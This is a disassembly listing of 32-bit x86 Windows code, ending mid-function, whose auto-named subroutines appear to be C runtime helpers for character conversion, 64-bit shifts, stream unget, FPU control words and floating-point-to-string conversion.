; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9A4	proc near		; CODE XREF: sub_41BFF5+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41F9C7
		cmp	[ebp+arg_8], ebx
		jz	short loc_41F9C7
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41F9CD
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41F9C7
		mov	[eax], bx


loc_41F9C7:				; CODE XREF: sub_41F9A4+Cj
					; sub_41F9A4+11j ...
		xor	eax, eax


loc_41F9C9:				; CODE XREF: sub_41F9A4+42j
					; sub_41F9A4+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F9CD:				; CODE XREF: sub_41F9A4+17j
		cmp	dword_4D8788, ebx
		jnz	short loc_41F9E8
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41F9E3
		movzx	ax, al
		mov	[ecx], ax


loc_41F9E3:				; CODE XREF: sub_41F9A4+36j
					; sub_41F9A4+C0j
		push	1
		pop	eax
		jmp	short loc_41F9C9
; ---------------------------------------------------------------------------


loc_41F9E8:				; CODE XREF: sub_41F9A4+2Fj
		mov	ecx, off_43AB80
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41FA45
		mov	eax, dword_43AD8C
		cmp	eax, 1
		jle	short loc_41FA2C
		cmp	[ebp+arg_8], eax
		jl	short loc_41FA36
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43AD8C
		jnz	short loc_41F9C9


loc_41FA2C:				; CODE XREF: sub_41F9A4+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41FA36
		cmp	[esi+1], bl
		jnz	short loc_41F9C9


loc_41FA36:				; CODE XREF: sub_41F9A4+61j
					; sub_41F9A4+8Bj ...
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F9C9
; ---------------------------------------------------------------------------


loc_41FA45:				; CODE XREF: sub_41F9A4+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41F9E3
		jmp	short loc_41FA36
sub_41F9A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FA70	proc near		; CODE XREF: sub_41BFF5+797p
					; sub_41BFF5+7E7p
		cmp	cl, 40h
		jnb	short loc_41FA8A
		cmp	cl, 20h
		jnb	short loc_41FA80
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41FA80:				; CODE XREF: sub_41FA70+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41FA8A:				; CODE XREF: sub_41FA70+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41FA70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA8F	proc near		; CODE XREF: sub_41CA6B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41FADB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41FAAD
		test	al, 80h
		jz	short loc_41FADB
		test	al, 2
		jnz	short loc_41FADB


loc_41FAAD:				; CODE XREF: sub_41FA8F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41FABA
		push	esi
		call	sub_41F4D0
		pop	ecx


loc_41FABA:				; CODE XREF: sub_41FA8F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41FACA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41FADB
		inc	eax
		mov	[esi], eax


loc_41FACA:				; CODE XREF: sub_41FA8F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41FAE1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41FAE7
		inc	eax
		mov	[esi], eax


loc_41FADB:				; CODE XREF: sub_41FA8F+9j
					; sub_41FA8F+18j ...
		or	eax, 0FFFFFFFFh


loc_41FADE:				; CODE XREF: sub_41FA8F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FAE1:				; CODE XREF: sub_41FA8F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41FAE7:				; CODE XREF: sub_41FA8F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41FADE
sub_41FA8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAFD	proc near		; CODE XREF: sub_41D05B+52p
		xor	eax, eax
		retn
sub_41FAFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB00	proc near		; CODE XREF: sub_41FB35+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41FB4B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41FBDD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41FB00	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB35	proc near		; CODE XREF: sub_41D347+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41FB00
		pop	ecx
		pop	ecx
		retn
sub_41FB35	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB4B	proc near		; CODE XREF: sub_41FB00+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41FB5C
		push	10h
		pop	eax


loc_41FB5C:				; CODE XREF: sub_41FB4B+Cj
		test	bl, 4
		jz	short loc_41FB63
		or	al, 8


loc_41FB63:				; CODE XREF: sub_41FB4B+14j
		test	bl, 8
		jz	short loc_41FB6A
		or	al, 4


loc_41FB6A:				; CODE XREF: sub_41FB4B+1Bj
		test	bl, 10h
		jz	short loc_41FB71
		or	al, 2


loc_41FB71:				; CODE XREF: sub_41FB4B+22j
		test	bl, 20h
		jz	short loc_41FB78
		or	al, 1


loc_41FB78:				; CODE XREF: sub_41FB4B+29j
		test	bl, 2
		jz	short loc_41FB82
		or	eax, 80000h


loc_41FB82:				; CODE XREF: sub_41FB4B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41FBBA
		cmp	edx, 400h
		jz	short loc_41FBB7
		cmp	edx, 800h
		jz	short loc_41FBB3
		cmp	edx, esi
		jnz	short loc_41FBBA
		or	eax, edi
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBB3:				; CODE XREF: sub_41FB4B+5Ej
		or	eax, ebp
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBB7:				; CODE XREF: sub_41FB4B+56j
		or	ah, 1


loc_41FBBA:				; CODE XREF: sub_41FB4B+4Ej
					; sub_41FB4B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41FBCA
		cmp	ecx, ebp
		jnz	short loc_41FBCF
		or	eax, 10000h
		jmp	short loc_41FBCF
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FB4B+72j
		or	eax, 20000h


loc_41FBCF:				; CODE XREF: sub_41FB4B+76j
					; sub_41FB4B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41FBDC
		or	eax, 40000h

locret_41FBDC:				; CODE XREF: sub_41FB4B+8Aj
		retn
sub_41FB4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBDD	proc near		; CODE XREF: sub_41FB00+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41FBED
		push	1
		pop	eax


loc_41FBED:				; CODE XREF: sub_41FBDD+Bj
		test	bl, 8
		jz	short loc_41FBF4
		or	al, 4


loc_41FBF4:				; CODE XREF: sub_41FBDD+13j
		test	bl, 4
		jz	short loc_41FBFB
		or	al, 8


loc_41FBFB:				; CODE XREF: sub_41FBDD+1Aj
		test	bl, 2
		jz	short loc_41FC02
		or	al, 10h


loc_41FC02:				; CODE XREF: sub_41FBDD+21j
		test	bl, 1
		jz	short loc_41FC09
		or	al, 20h


loc_41FC09:				; CODE XREF: sub_41FBDD+28j
		test	ebx, 80000h
		jz	short loc_41FC13
		or	al, 2


loc_41FC13:				; CODE XREF: sub_41FBDD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41FC40
		cmp	ecx, 100h
		jz	short loc_41FC3D
		cmp	ecx, esi
		jz	short loc_41FC38
		cmp	ecx, edx
		jnz	short loc_41FC40
		or	ah, 0Ch
		jmp	short loc_41FC40
; ---------------------------------------------------------------------------


loc_41FC38:				; CODE XREF: sub_41FBDD+50j
		or	ah, 8
		jmp	short loc_41FC40
; ---------------------------------------------------------------------------


loc_41FC3D:				; CODE XREF: sub_41FBDD+4Cj
		or	ah, 4


loc_41FC40:				; CODE XREF: sub_41FBDD+44j
					; sub_41FBDD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41FC56
		cmp	ecx, 10000h
		jnz	short loc_41FC58
		or	eax, esi
		jmp	short loc_41FC58
; ---------------------------------------------------------------------------


loc_41FC56:				; CODE XREF: sub_41FBDD+6Bj
		or	eax, edx


loc_41FC58:				; CODE XREF: sub_41FBDD+73j
					; sub_41FBDD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41FC65
		or	ah, 10h

locret_41FC65:				; CODE XREF: sub_41FBDD+83j
		retn
sub_41FBDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC66	proc near		; CODE XREF: sub_41FD05+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41FCAB
		inc	esi
		cmp	esi, 3
		jge	short loc_41FCA6
		lea	eax, [eax+esi*4]


loc_41FC98:				; CODE XREF: sub_41FC66+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41FCAB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41FC98


loc_41FCA6:				; CODE XREF: sub_41FC66+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FCAB:				; CODE XREF: sub_41FC66+27j
					; sub_41FC66+35j
		xor	eax, eax
		pop	esi
		retn
sub_41FC66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAF	proc near		; CODE XREF: sub_41FD05+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_420AFC
		add	esp, 0Ch
		dec	esi
		js	short loc_41FD01
		lea	edi, [ebx+esi*4]


loc_41FCE8:				; CODE XREF: sub_41FCAF+50j
		test	eax, eax
		jz	short loc_41FD01
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_420AFC
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41FCE8


loc_41FD01:				; CODE XREF: sub_41FCAF+34j
					; sub_41FCAF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FCAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD05	proc near		; CODE XREF: sub_41FE60+81p
					; sub_41FE60+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41FD69
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41FC66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41FD66
		push	edi
		push	[ebp+arg_0]
		call	sub_41FCAF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41FD66:				; CODE XREF: sub_41FD05+51j
		mov	eax, [ebp+arg_4]


loc_41FD69:				; CODE XREF: sub_41FD05+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41FD89
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41FD89:				; CODE XREF: sub_41FD05+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FD05	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD91	proc near		; CODE XREF: sub_41FE60+75p
					; sub_41FE60+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41FD9F:				; CODE XREF: sub_41FD91+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41FD9F
		pop	esi
		retn
sub_41FD91	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDAC	proc near		; CODE XREF: sub_41FE60+5Fp
					; sub_41FE60+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FDAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41FE60+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41FDBE:				; CODE XREF: sub_41FDB8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41FDD0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41FDBE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FDD0:				; CODE XREF: sub_41FDB8+9j
		xor	eax, eax
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD3	proc near		; CODE XREF: sub_41FE60+C0p
					; sub_41FE60+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41FE09:				; CODE XREF: sub_41FDD3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41FE09
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41FE3B:				; CODE XREF: sub_41FDD3+86j
		cmp	ebx, edi
		jl	short loc_41FE4E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41FE55
; ---------------------------------------------------------------------------


loc_41FE4E:				; CODE XREF: sub_41FDD3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41FE55:				; CODE XREF: sub_41FDD3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41FE3B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE60	proc near		; CODE XREF: sub_41FFCC+Dp
					; sub_41FFE2+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41FECD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41FDB8
		test	eax, eax
		pop	ecx
		jnz	loc_41FF8C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		pop	ecx


loc_41FEC5:				; CODE XREF: sub_41FE60+E4j
		push	2


loc_41FEC7:				; CODE XREF: sub_41FE60+110j
		pop	eax
		jmp	loc_41FF8E
; ---------------------------------------------------------------------------


loc_41FECD:				; CODE XREF: sub_41FE60+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41FD91
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD05
		add	esp, 10h
		test	eax, eax
		jz	short loc_41FEEE
		inc	ebx


loc_41FEEE:				; CODE XREF: sub_41FE60+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41FF06
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		pop	ecx
		jmp	short loc_41FF42
; ---------------------------------------------------------------------------


loc_41FF06:				; CODE XREF: sub_41FE60+98j
		cmp	ebx, eax
		jg	short loc_41FF49
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD91
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41FDD3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FD05
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDD3
		add	esp, 20h


loc_41FF42:				; CODE XREF: sub_41FE60+A4j
		xor	esi, esi
		jmp	loc_41FEC5
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FE60+A8j
		cmp	ebx, [edi]
		jl	short loc_41FF75
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDAC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FDD3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41FEC7
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FE60+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41FDD3
		pop	ecx
		pop	ecx


loc_41FF8C:				; CODE XREF: sub_41FE60+55j
		xor	eax, eax


loc_41FF8E:				; CODE XREF: sub_41FE60+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41FFBD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41FFC7
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FE60+14Ej
		cmp	edi, 20h
		jnz	short loc_41FFC7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41FFC7:				; CODE XREF: sub_41FE60+15Bj
					; sub_41FE60+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFCC	proc near		; CODE XREF: sub_41FFF8+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B508
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FE60
		add	esp, 0Ch
		retn
sub_41FFCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFE2	proc near		; CODE XREF: sub_420025+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B520
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41FE60
		add	esp, 0Ch
		retn
sub_41FFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFF8	proc near		; CODE XREF: sub_41D480+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420C9D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FFCC
		add	esp, 24h
		leave
		retn
sub_41FFF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420025	proc near		; CODE XREF: sub_41D480+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420C9D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FFE2
		add	esp, 24h
		leave
		retn
sub_420025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420052	proc near		; CODE XREF: sub_41D4BE+65p
					; sub_41D5C2+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42008F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_420075:				; CODE XREF: sub_420052+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420081
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420084
; ---------------------------------------------------------------------------


loc_420081:				; CODE XREF: sub_420052+27j
		push	30h
		pop	edx


loc_420084:				; CODE XREF: sub_420052+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_420075
		mov	edx, [ebp+arg_8]


loc_42008F:				; CODE XREF: sub_420052+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4200A8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4200A8


loc_42009B:				; CODE XREF: sub_420052+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4200A6
		mov	byte ptr [eax],	30h
		jmp	short loc_42009B
; ---------------------------------------------------------------------------


loc_4200A6:				; CODE XREF: sub_420052+4Dj
		inc	byte ptr [eax]


loc_4200A8:				; CODE XREF: sub_420052+42j
					; sub_420052+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4200B2
		inc	dword ptr [edx+4]
		jmp	short loc_4200C4
; ---------------------------------------------------------------------------


loc_4200B2:				; CODE XREF: sub_420052+59j
		push	edi
		call	sub_4176F0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_419190
		add	esp, 10h


loc_4200C4:				; CODE XREF: sub_420052+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200C9	proc near		; CODE XREF: sub_41D4BE+3Fp
					; sub_41D5C2+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42012D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4D88C0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42116E
		mov	dword_4D88E8, eax
		add	esp, 18h
		movsx	eax, byte_4D88C2
		mov	dword_4D88E0, eax
		pop	edi
		movsx	eax, word_4D88C0
		mov	dword_4D88E4, eax
		mov	dword_4D88EC, offset dword_4D88C4
		mov	eax, offset dword_4D88E0
		pop	esi
		leave
		retn
sub_4200C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42012D	proc near		; CODE XREF: sub_4200C9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42017B
		cmp	ebx, edi
		jz	short loc_420174
		lea	edi, [ecx+3C00h]
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_420174:				; CODE XREF: sub_42012D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42019C
; ---------------------------------------------------------------------------


loc_42017B:				; CODE XREF: sub_42012D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420193
		cmp	edx, ebx
		jnz	short loc_420193
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
